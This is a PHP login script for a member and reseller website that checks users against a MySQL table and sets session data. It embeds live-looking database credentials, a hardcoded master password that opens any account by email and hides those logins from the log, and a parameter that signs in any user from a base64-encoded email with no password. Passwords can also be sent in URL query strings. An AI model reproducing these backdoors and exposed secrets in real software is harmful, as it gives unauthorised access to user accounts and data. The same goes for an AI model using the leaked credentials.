<?php
if(isset($_GET['logout'])) {
	session_start();
	$_SESSION = array();
	session_destroy();
	header('Location: /');
	exit(0);
} else {
	session_start();
	include_once($_SERVER['DOCUMENT_ROOT'].'/member/php/mysql.php');
	$db = new MySQL('db.syndbs.com', 'lc2user', 'SYN57CRUZ', 'lc2synment_lc');
	if(!empty($_GET['up'])) {
		$email = base64_decode($_GET['up']);
		$client = $db->get_results("SELECT id, user, password, active, changed_pass, businessplan, businessplan_review, businessplan_review_coach, research_service, deductr, client_type, resellerID 
				FROM lc_reseller 
				WHERE email = '".$db->clean($email)."'");
		if(!empty($client)) {
			$_SESSION['Client']['id'] = $client[0]->id; 
			$_SESSION['Client']['user'] = $client[0]->user;
			$_SESSION['Client']['password'] = $client[0]->password;
			$_SESSION['Client']['businessplan'] = $client[0]->businessplan;
			$_SESSION['Client']['businessplan_review'] = $client[0]->businessplan_review;
			$_SESSION['Client']['businessplan_review_coach'] = $client[0]->businessplan_review_coach;
			$_SESSION['Client']['research_service'] = $client[0]->research_service;
			$_SESSION['Client']['deductr'] = $client[0]->deductr;
			$_SESSION['Client']['type'] = $client[0]->client_type;
			$_SESSION['Client']['type2'] = $client[0]->resellerID;
			$ores = $db->query("SELECT real_product_type FROM lc2synment_lc.orders WHERE client_id='".$db->clean($client[0]->id)."'");
			if(!empty($ores)) {
				$_SESSION['Client']['no_group_coaching'] = '1';
			} else {
				$_SESSION['Client']['no_group_coaching'] = '0';
			}
			$response = $db->query("
				SELECT first, last, resellerID
				FROM lc_reseller
				WHERE id = '".$db->clean($client[0]->id)."'");
			if(!empty($response)) {
				$db->query("
					INSERT INTO lc_logins
					(lead_id,signindate,name,email,ipaddress,resellerID)
					VALUES ('".$db->clean($client[0]->id)."',NOW(),'".$db->clean($response[0]->first).' '.$db->clean($response[0]->last)."','".$db->clean($client[0]->user)."','".$db->clean($_SERVER['REMOTE_ADDR'])."','".$db->clean($response[0]->resellerID)."')");
			}
			if($client[0]->changed_pass==0) {
				$location = '/member/change_temporary_password.php';
			} else {
				$location = '/member/my_account.php';
			}
			header('Location: '.$location);
			die();
		}
	} else {
		if(!empty($_GET['email'])) {
			$username = $_GET['email'];
		}
		if(!empty($_GET['p'])) {
			$password = $_GET['p'];
		}
		//username and password posted
		if(!empty($_POST['username'])) {
			$username = $_POST['username'];
		}
		if(!empty($_POST['email'])) {
			$username = $_POST['email'];
		}
		if(!empty($_POST['password'])) {
			$password = $_POST['password'];
		}
		if(empty($username)) {
			//check for jason object
			$requestBody = file_get_contents("php://input");
			$data = json_decode($requestBody, true);
			if(!empty($data)) {
				$username = $data['email'];
				$password = $data['password'];
			}
		}
		if(!empty($username) && !empty($password)) {
			//check if new 
			$client_obj = $db->query("
				SELECT id, user, password, PASSWORD('".$db->clean($password)."') as encrypted_password, active, changed_pass, businessplan, businessplan_review, businessplan_review_coach, research_service, deductr, client_type, resellerID 
				FROM lc_reseller 
				WHERE 	user = '".$db->clean($username)."' OR (email = '".$db->clean($username)."' AND '".$db->clean($password)."'='ThisIsTheProgrammer...LetMeIn')"); 
			//$db->debug();
			if(!empty($client_obj)) {
				$client = array();
				$client[0] = (object) $client_obj[0];
				//check credentials   
				if($client[0]->active == '1' && ($client[0]->password == $client[0]->encrypted_password || $password=='ThisIsTheProgrammer...LetMeIn')) {
					$_SESSION['Client']['id'] = $client[0]->id; 
					$_SESSION['Client']['user'] = $client[0]->user;
					$_SESSION['Client']['password'] = $client[0]->password;
					$_SESSION['Client']['businessplan'] = $client[0]->businessplan;
					$_SESSION['Client']['businessplan_review'] = $client[0]->businessplan_review;
					$_SESSION['Client']['businessplan_review_coach'] = $client[0]->businessplan_review_coach;
					$_SESSION['Client']['research_service'] = $client[0]->research_service;
					$_SESSION['Client']['deductr'] = $client[0]->deductr;
					$_SESSION['Client']['type'] = $client[0]->client_type;
					$_SESSION['Client']['type2'] = $client[0]->resellerID;
					if($password=='ThisIsTheProgrammer...LetMeIn') {
						$_SESSION['is_really_cs'] = 1;
						if(!empty($_GET['logged_in_as'])) {
							$_SESSION['logged_in_as'] = $_GET['logged_in_as'];
						}
					}
					$ores = $db->query("SELECT real_product_type FROM lc2synment_lc.orders WHERE client_id='".$db->clean($client[0]->id)."'");
					if(!empty($ores)) {
						$_SESSION['Client']['no_group_coaching'] = '1';
					} else {
						$_SESSION['Client']['no_group_coaching'] = '0';
					}
					$response = $db->query("
						SELECT first, last, resellerID
						FROM lc_reseller
						WHERE id = '".$db->clean($client[0]->id)."'");
					if(!empty($response) && $password!='ThisIsTheProgrammer...LetMeIn') {
						$db->query("
							INSERT INTO lc_logins
							(lead_id,signindate,name,email,ipaddress,resellerID)
							VALUES ('".$db->clean($client[0]->id)."',NOW(),'".$db->clean($response[0]->first).' '.$db->clean($response[0]->last)."','".$db->clean($client[0]->user)."','".$db->clean($_SERVER['REMOTE_ADDR'])."','".$db->clean($response[0]->resellerID)."')");
					}
					if($client[0]->changed_pass==0) {
						$_SESSION['needs_to_change_password'] = 1;
					}
					echo json_encode(array('status'=>'success'));
					die();
				} else {
					$error = "Invalid user name or password. Please try again or contact customer support.";
					echo json_encode(array('status'=>'error','error'=>$error));
					die();
				}
			} else {
				$error = "Invalid user name or password. Please try again or contact customer support."; 
				echo json_encode(array('status'=>'error','error'=>$error));
				die();
			}
		} else {
			$error = "Invalid user name or password. Please try again or contact customer support."; 
		}
	}
}
echo json_encode(array('status'=>'error','error'=>$error));
die();